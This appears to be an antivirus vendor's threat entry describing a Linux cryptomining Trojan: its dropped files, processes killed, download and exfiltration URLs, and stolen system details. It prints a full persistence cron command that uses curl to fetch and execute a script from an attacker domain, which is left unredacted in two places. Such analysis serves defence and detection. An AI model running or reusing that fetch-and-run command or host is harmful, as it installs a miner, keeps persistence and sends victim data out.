Analysis by: Joshua Paul Ignacio
ALIASES:

N/A

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan may be downloaded by other malware/grayware from remote sites.

It deletes itself after execution.

  TECHNICAL DETAILS

File Size: 1,927 bytes
File Type: , Other
Memory Resident: No
Initial Samples Received Date: 06 Jan 2020
Payload: Connects to URLs/IPs, Steals information, Downloads files

Arrival Details

This Trojan may be downloaded by the following malware/grayware from remote sites:

Installation

This Trojan drops and executes the following files:

  • x
  • start.pl

It creates the following folders:

  • /var/tmp/.nano
  • /tmp/.vd

Other System Modifications

This Trojan deletes the following files:

  • nohup.out
  • /tmp/min.sh
  • /tmp/min
  • /tmp/nohup.out
  • /tmp/cron.d
  • /var/tmp/.nano
  • /{Current Directory}/cron.d
  • cron.d
  • .bin
  • /dev/shm/.bin
  • /tmp/.bin
  • /dev/shm/monero.tgz
  • .vd
  • /tmp/.vd
  • /tmp/.vd/sslm.tgz
  • min*
  • {Current Directory}/min*
  • /tmp/min*

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • rand
  • rx
  • rd
  • tsm
  • tsm2
  • haiduc
  • a
  • sparky
  • sh
  • 2238Xae
  • b
  • f
  • i
  • p
  • y
  • rsync
  • ps
  • go
  • x
  • s
  • b
  • run
  • idle
  • minerd
  • crond
  • yam
  • xmr
  • python
  • cron
  • ntpd
  • start
  • start.sh
  • libssl
  • sparky.sh

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • https://{BLOCKED}ter.com/assets/.style/remote/cron.sh
  • https://{BLOCKED}ter.com/assets/.style/nano.sh
  • https://{BLOCKED}ter.com/assets/.style/monero.tgz
  • https://{BLOCKED}ter.com/assets/.style/sslm.tgz

It saves the files it downloads using the following names:

Information Theft

This Trojan gathers the following data:

  • Current Directory
  • username
  • System time and date
  • Kernel Information
  • Number of Processing Units
  • List of Display Interface

Stolen Information

This Trojan sends the gathered information via HTTP POST to the following URL:

  • http://{BLOCKED}ter.com/assets/.style/remote/info.php

Other Details

This Trojan connects to the following URL(s) to get the affected system's IP address:

  • http://upajmeter.com/assets/.style/remote/info.php

It does the following:

  • It creates the following cron jobs for persistence:
    Path: {Current Directory}/cron.d
    • Schedule: Every 30 minutes
    • Command: */30 * * * * /var/tmp/.nano/nano.sh &> /dev/null @reboot /bin/mkdir /var/tmp/.nnao && /usr/bin/curl -s https://upajmeter.com/assets/.style/nano.sh && /bin/chmod +x /var/tmp/.nano/nano.sh && /var/tmp/.nano/nano.sh

It deletes itself after execution.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.608.01
FIRST VSAPI PATTERN DATE: 07 Jan 2020
VSAPI OPR PATTERN File: 15.609.00
VSAPI OPR PATTERN Date: 08 Jan 2020

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